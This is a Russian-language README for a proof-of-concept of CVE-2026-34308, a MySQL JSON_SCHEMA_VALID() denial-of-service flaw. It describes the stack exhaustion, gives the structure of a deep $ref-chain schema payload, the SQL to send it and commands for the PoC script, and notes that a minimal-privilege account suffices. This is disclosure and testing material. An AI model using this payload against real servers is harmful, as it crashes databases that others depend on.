
Доказательство концепции для CVE-2026-34308 — уязвимости типа «отказ в обслуживании» в компоненте JSON сервера MySQL. Демонстрирует исчерпание стека через глубокие цепочки `$ref` в `JSON_SCHEMA_VALID()`, приводящее к сбою сервера. Включает Python-скрипт PoC и технический анализ.
Официальный бюллетень вендора: Oracle Critical Patch Update Advisory — April 2026.
Уязвимость в Oracle MySQL Server (компонент: Server: JSON).
Поддерживаемые затронутые версии: 8.0.0–8.0.45, 8.4.0–8.4.8 и 9.0.0–9.6.0.
Уязвимость позволяет пользователю с низкими привилегиями вызвать сбой MySQL Server.
Базовая оценка CVSS 3.1: 6.5 (влияние только на доступность)
Вектор CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Наблюдаемый механизм: Глубокая рекурсия при вычислении MySQL функции JSON_SCHEMA_VALID() для JSON Schema, содержащей длинную линейную цепочку указателей $ref, без эффективного ограничения глубины во время компиляции/валидации схемы — что приводит к исчерпанию стека, зависанию или повторяющемуся сбою.
Цепочка вызовов (концептуально):
Client SQL → JSON_SCHEMA_VALID(schema, instance)
→ внутренняя валидация JSON Schema → повторное разрешение $ref
→ исчерпание стека → зависание / сбой
Для этого PoC достаточно любой аутентифицированной учётной записи MySQL: предоставьте только USAGE на *.* (минимальная привилегия MySQL — возможность подключения — без SELECT, доступа к таблицам или ролей администратора). Если пользователь может открыть сеанс и выполнить SELECT JSON_SCHEMA_VALID(...), он может вызвать это состояние.
poc_schema_dos.pyСоздаёт JSON-схему с линейной цепочкой $ref (пример глубины 1200):
{
"$ref": "#/definitions/l0",
"definitions": {
"l0": {"$ref": "#/definitions/l1"},
"l1": {"$ref": "#/definitions/l2"},
...
"l1200": {"type": "string"}
}
}
Отправляется в MySQL как: SELECT JSON_SCHEMA_VALID('<schema>', '"x"');
При тестировании на уязвимых сборках наблюдалось, что это вызывает сбой сервера примерно в течение одной секунды (точное время зависит от оборудования, флагов сборки и глубины схемы).
python3 poc_schema_dos.py --host 127.0.0.1 --port 3306 --user root --password ""
Для тестирования учётной записи с низкими привилегиями:
CREATE USER 'test'@'%' IDENTIFIED BY 'password';
GRANT USAGE ON *.* TO 'test'@'%';
FLUSH PRIVILEGES;
Затем: python3 poc_schema_dos.py --user test --password password
6.5 — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
poc_schema_dos.py: PoC-скриптREADME.md: Этот файл